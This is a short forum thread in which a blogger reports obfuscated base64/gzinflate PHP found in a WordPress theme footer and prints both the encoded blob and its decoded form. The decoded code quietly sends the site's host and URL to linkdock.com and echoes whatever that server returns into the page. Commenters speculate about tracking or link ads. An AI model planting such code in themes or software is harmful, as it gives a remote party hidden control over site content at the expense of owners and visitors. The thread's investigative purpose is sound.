dublious code in a wordpress theme for linkdock.com

[paul]

Today I download a wordpress theme for my blog. It's called simplejojo and it looks quite nice. But I looked at the footer code and I was surprised that there was something encoded. Here is the code:

<? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); 
?>

I decoded and it looks like

error_reporting(0);
$CodeURL = "http://linkdock.com/content.php?id=&host=".urlencode($_SERVER["HTTP_HOST"])."&uri=".urlencode($_SERVER["REQUEST_URI"]);

if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file_get_contents")) {
    echo @file_get_contents($CodeURL);
} elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file")) {
    $content = @file($CodeURL);
    echo @join("", $content);
} elseif (function_exists("curl_init")) {
    $ch = curl_init($CodeURL);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

But I am still at a loss to see what it does. I couldn't find anything on the linkdock.com domain.

I wonder it they use the code for inserting link ads of some sorts. I tried to visit some blogs with the useragent changed to the google bot, but nothing extra was displayed.

could be a tracking thing to see how many users are using this template...

+1 ... basically checking who is using it and if any "links" have been kept in it or something like that (they would have the server that is using the file so they can check manually)
